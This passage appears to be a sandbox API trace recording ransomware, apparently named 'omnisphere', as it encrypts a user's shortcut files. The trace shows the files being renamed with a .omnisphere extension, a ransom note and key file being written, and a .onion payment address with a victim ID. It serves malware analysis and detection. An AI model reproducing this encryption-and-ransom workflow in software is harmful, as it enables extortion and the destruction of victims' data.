hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.115] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.116] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.117] CryptDestroyKey (hKey=0x1639b68) returned 1 [0115.117] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0115.117] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x517, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0115.117] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0115.119] GetProcessHeap () returned 0x1600000 [0115.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2dc) returned 0x1687b90 [0115.119] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\microsoft outlook.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\microsoft outlook.lnk.omnisphere")) returned 1 [0115.120] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk.omnisphere.id" [0115.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\microsoft outlook.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.120] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0115.123] CloseHandle (hObject=0x3c0) returned 1 [0115.124] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.124] CloseHandle (hObject=0x288) returned 1 [0115.125] SetEndOfFile (hFile=0x28c) returned 1 [0115.125] FlushFileBuffers (hFile=0x28c) returned 1 [0115.130] CloseHandle (hObject=0x28c) returned 1 [0115.131] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 1 [0115.131] GetProcessHeap () returned 0x1600000 [0115.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1687e78 [0115.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.131] GetProcessHeap () returned 0x1600000 [0115.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f148 [0115.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f148, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.131] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.131] GetProcessHeap () returned 0x1600000 [0115.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687308 [0115.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687308, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.131] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.131] GetProcessHeap () returned 0x1600000 [0115.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1624360 [0115.131] PathCombineW (in: pszDest=0x1624360, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" [0115.131] GetProcessHeap () returned 0x1600000 [0115.131] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167fc10 [0115.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.132] WriteFile (in: hFile=0x28c, lpBuffer=0x167fc10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x167fc10*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0115.132] CloseHandle (hObject=0x28c) returned 1 [0115.132] GetProcessHeap () returned 0x1600000 [0115.132] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1687e78 | out: hHeap=0x1600000) returned 1 [0115.132] GetProcessHeap () returned 0x1600000 [0115.132] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c6c8 [0115.132] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" [0115.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.132] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0115.133] CloseHandle (hObject=0x28c) returned 1 [0115.133] GetProcessHeap () returned 0x1600000 [0115.133] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0115.133] GetProcessHeap () returned 0x1600000 [0115.133] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0115.133] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d67afb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0xc9, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0115.133] GetProcessHeap () returned 0x1600000 [0115.133] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c528 [0115.133] PathCombineW (in: pszDest=0x162c528, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="Shows Desktop.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0115.133] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0115.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\shows desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0115.135] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=352) returned 1 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.135] GetTickCount () returned 0x115ccb3 [0115.136] GetTickCount () returned 0x115ccb3 [0115.136] GetTickCount () returned 0x115ccb3 [0115.136] GetTickCount () returned 0x115ccb3 [0115.136] GetTickCount () returned 0x115ccb3 [0115.136] GetTickCount () returned 0x115ccb3 [0115.136] GetTickCount () returned 0x115ccb3 [0115.136] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668e78) returned 1 [0115.136] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b68) returned 1 [0115.136] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0115.137] CryptDestroyKey (hKey=0x1639b68) returned 1 [0115.137] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0115.137] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x160, lpName=0x0) returned 0x288 [0115.137] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x160) returned 0x1480000 [0115.137] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0115.138] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0115.138] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.138] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 